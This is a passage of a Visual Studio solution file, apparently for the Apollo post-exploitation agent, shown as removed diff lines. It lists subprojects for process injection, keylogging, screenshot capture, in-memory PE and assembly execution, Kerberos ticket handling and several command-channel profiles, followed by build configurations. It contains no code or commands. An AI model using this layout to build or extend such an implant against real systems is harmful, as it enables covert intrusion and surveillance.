"{5B5BD587-7DCA-4306-B1C3-83A70D755F37}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "HttpProfile", "HttpProfile\HttpProfile.csproj", "{74B393F3-4000-49AC-8116-DCCDB5F52344}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PSKCryptography", "PSKCrypto\PSKCryptography.csproj", "{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PlaintextCryptography", "PlaintextCrypto\PlaintextCryptography.csproj", "{ED320CE0-C28F-4B07-A353-9B14C261E8A3}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Apollo", "Apollo\Apollo.csproj", "{F606A86C-39AF-4B5A-B146-F14EDC1D762C}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "NamedPipeProfile", "NamedPipeProfile\NamedPipeProfile.csproj", "{3AF39094-7F42-4444-A278-FA656EB4678F}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Tasks", "Tasks\Tasks.csproj", "{B9BDA393-C258-44D3-8266-D62265008BD4}" - ProjectSection(ProjectDependencies) = postProject - {92E783D2-0C9D-490E-AC6B-F3ED6520F12B} = {92E783D2-0C9D-490E-AC6B-F3ED6520F12B} - EndProjectSection -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "TcpProfile", "TcpProfile\TcpProfile.csproj", "{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Injection", "Injection\Injection.csproj", "{E4724425-FC2D-40AE-9506-553D5D9DD929}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Process", "Process\Process.csproj", "{6008A59E-80A4-4790-8FE3-01DE201D71B3}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ExecuteAssembly", "ExecuteAssembly\ExecuteAssembly.csproj", "{8806CD1D-AA64-4E9F-91C7-B579765549B0}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "EncryptedFileStore", "EncryptedFileStore\EncryptedFileStore.csproj", "{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PowerShellHost", "PowerShellHost\PowerShellHost.csproj", "{1D897A8A-1394-4561-B31C-D8312462500C}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ScreenshotInject", "ScreenshotInject\ScreenshotInject.csproj", "{E05B7224-D965-422C-9B12-E6DEE1BFAC64}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "KeylogInject", "KeylogInject\KeylogInject.csproj", "{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ExecutePE", "ExecutePE\ExecutePE.csproj", "{44D50BF5-4C12-4328-B983-0045C157D932}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "DInvokeResolver", "DInvokeResolver\DInvokeResolver.csproj", "{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "SimpleResolver", "SimpleResolver\SimpleResolver.csproj", "{6CA1FF03-8102-41D5-9D57-CC2DA346D684}" -EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WebsocketProfile", "WebsocketProfile\WebsocketProfile.csproj", "{74855A66-CD77-4CCA-AFD9-09E275E47591}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KerberosTickets", "KerberosTickets\KerberosTickets.csproj", "{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecutePE.Standalone", "ExecutePE.Standalone\ExecutePE.Standalone.csproj", "{8F530743-F632-41FC-BBEA-B6727542A719}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COFFLoader", "COFFLoader\COFFLoader.vcxproj", "{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Debug|x64 = Debug|x64 - Debug|x86 = Debug|x86 - Release|Any CPU = Release|Any CPU - Release|x64 = Release|x64 - Release|x86 = Release|x86 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.Build.0 = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.ActiveCfg = Debug|x64 - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.Build.0 = Debug|x64 - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.ActiveCfg = Debug|x64 - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.Build.0 = Debug|x64 - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.ActiveCfg = Release|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.Build.0 = Release|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.ActiveCfg = Release|x64 - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.Build.0 = Release|x64 - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.ActiveCfg = Release|x86 - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.Build.0 = Release|x86 - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.Build.0 = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.ActiveCfg = Debug|x64 - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.Build.0 = Debug|x64 - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.ActiveCfg = Debug|x64 - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.Build.0 = Debug|x64 - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.ActiveCfg = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.Build.0 = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.ActiveCfg = Release|x64 - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.Build.0 = Release|x64 - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.ActiveCfg = Release|x86 - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.Build.0 = Release|x86 - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.ActiveCfg = Debug|x64 - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.Build.0 = Debug|x64 - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.ActiveCfg = Debug|x64 - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.Build.0 = Debug|x64 - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.Build.0 = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.ActiveCfg = Release|x64 - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.Build.0 = Release|x64 - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.ActiveCfg = Release|x86 - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.Build.0 = Release|x86 - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.Build.0 = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.ActiveCfg = Debug|x64 - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.Build.0 = Debug|x64 - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.ActiveCfg = Debug|x64 - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.Build.0 = Debug|x64 - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.ActiveCfg = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.Build.0 = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.ActiveCfg = Release|x64 - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.Build.0 = Release|x64 - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.ActiveCfg = Release|x86 - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.Build.0 = Release|x86 - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.ActiveCfg = Debug|x64 - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.Build.0 = Debug|x64 - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.ActiveCfg = Debug|x64 - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.Build.0 = Debug|x64 - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.Build.0 = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.ActiveCfg = Release|x64 - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.Build.0 = Release|x64 - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.ActiveCfg = Release|x86 - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.Build.0 = Release|x86 - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.ActiveCfg = Debug|x64 - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.Build.0 = Debug|x64 - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.ActiveCfg = Debug|x64 - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.Build.0 = Debug|x64 - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.ActiveCfg = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.Build.0 = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.ActiveCfg = Release|x64 - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.Build.0 = Release|x64 - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.ActiveCfg = Release|x86 - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.Build.0 = Release|x86 - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.ActiveCfg = Debug|x64 - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.Build.0 = Debug|x64 - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.ActiveCfg = Debug|x64 - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.Build.0 = Debug|x64 - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.ActiveCfg = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.Build.0 = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.ActiveCfg = Release|x64 - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.Build.0 = Release|x64 - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.ActiveCfg = Release|x86 - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.Build.0 = Release|x86 - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.ActiveCfg = Debug|x64 - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.Build.0 = Debug|x64 - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.ActiveCfg = Debug|x64 - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.Build.0 = Debug|x64 - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.Build.0 = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.ActiveCfg = Release|x64 - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.Build.0 = Release|x64 - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.ActiveCfg = Release|x86 - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.Build.0 = Release|x86 - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.ActiveCfg = Debug|x64 - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.Build.0 = Debug|x64 - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.ActiveCfg = Debug|x64 - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.Build.0 = Debug|x64 - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.Build.0 = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.ActiveCfg = Release|x64 - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.Build.0 = Release|x64 - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.ActiveCfg = Release|x86 - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.Build.0 = Release|x86 - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.ActiveCfg = Debug|x64 - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.Build.0 = Debug|x64 - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.ActiveCfg = Debug|x64 - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.Build.0 = Debug|x64 - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.Build.0 = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.ActiveCfg = Release|x64 - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.Build.0 = Release|x64 - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.ActiveCfg = Release|x86 - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.Build.0 = Release|x86 - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.ActiveCfg = Debug|x64 - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.Build.0 = Debug|x64 - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.ActiveCfg = Debug|x64 - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.Build.0 = Debug|x64 - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.ActiveCfg = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.Build.0 = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.ActiveCfg = Release|x64 - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.Build.0 = Release|x64 - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.ActiveCfg = Release|x86 - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.Build.0 = Release|x86 - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.Build.0 = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.ActiveCfg = Debug|x64 - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.Build.0 = Debug|x64 - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.ActiveCfg = Debug|x64 - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.Build.0 = Debug|x64 - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.ActiveCfg = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.Build.0 = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.ActiveCfg = Release|x64 - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.Build.0 = Release|x64 - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.ActiveCfg = Release|x86 - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.Build.0 = Release|x86 - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.ActiveCfg = Debug|x64 - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.Build.0 = Debug|x64 - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.ActiveCfg = Debug|x64 - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.Build.0 = Debug|x64 - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.Build.0 = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.ActiveCfg = Release|x64 - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.Build.0 = Release|x64 - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.ActiveCfg = Release|x86 - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.Build.0 = Release|x86 - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.ActiveCfg = Debug|x64 - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.Build.0 = Debug|x64 - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.ActiveCfg = Debug|x64 - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.Build.0 = Debug|x64 - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.Build.0 = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.ActiveCfg = Release|x64 - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.Build.0 = Release|x64 - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.ActiveCfg = Release|x86 - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.Build.0 = Release|x86 - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.ActiveCfg = Debug|x64 - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.Build.0 = Debug|x64 - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.ActiveCfg = Debug|x64 - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.Build.0 = Debug|x64 - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.Build.0 = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.ActiveCfg = Release|x64 - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.Build.0 = Release|x64 - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.ActiveCfg = Release|x86 - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.Build.0 = Release|x86 - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.Build.0 = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.ActiveCfg = Debug|x64 - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.Build.0 = Debug|x64 - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.ActiveCfg = Debug|x64 - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.Build.0 = Debug|x64 - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.ActiveCfg = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.Build.0 = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.ActiveCfg = Release|x64 - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.Build.0 = Release|x64 - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.ActiveCfg = Release|x86 - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.Build.0 = Release|x86 - {2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x64.ActiveCfg = Debug|x64 - {2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x64.Build.0 = Debug|x64 - {2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x86.ActiveCfg = Debug|x64 - {2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x86.Build.0 = Debug|x64 - {2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|Any CPU.ActiveCfg = Release|Any CPU - {2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|Any CPU.Build.0 = Release|Any CPU - {2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x64.ActiveCfg = Release|x64 - {2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x64.Build.0 = Release|x64 - {2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x86.ActiveCfg = Release|x86 - {2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x86.Build.0 = Release|x86 - {6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x64.ActiveCfg = Debug|x64 - {6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x64.Build.0 = Debug|x64 - {6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x86.ActiveCfg = Debug|x64 - {6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x86.Build.0 = Debug|x64 - {6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|Any CPU.Build.0 = Release|Any CPU - {6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x64.ActiveCfg = Release|x64 - {6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x64.Build.0 = Release|x64 - {6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x86.ActiveCfg = Release|x86 - {6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x86.Build.0 = Release|x86 - {74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|Any CPU.Build.0 = Debug|Any CPU - {74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x64.ActiveCfg = Debug|x64 - {74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x64.Build.0 = Debug|x64 - {74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x86.ActiveCfg = Debug|Any CPU - {74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x86.Build.0 = Debug|Any CPU - {74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|Any CPU.ActiveCfg = Release|Any CPU - {74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|Any CPU.Build.0 = Release|Any CPU - {74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x64.ActiveCfg = Release|Any CPU - {74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x64.Build.0 = Release|Any CPU - {74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x86.ActiveCfg = Release|Any CPU - {74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x86.Build.0 = Release|Any CPU - {2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x64.ActiveCfg = Debug|Any CPU - {2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x64.Build.0 = Debug|Any CPU - {2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x86.ActiveCfg = Debug|Any CPU - {2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x86.Build.0 = Debug|Any CPU - {2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|Any CPU.Build.0 = Release|Any CPU - {2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x64.ActiveCfg = Release|Any CPU - {2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x64.Build.0 = Release|Any CPU - {2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x86.ActiveCfg = Release|Any CPU - {2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x86.Build.0 = Release|Any CPU - {8F530743-F632-41FC-BBEA-B6727542A719}.Debug|Any 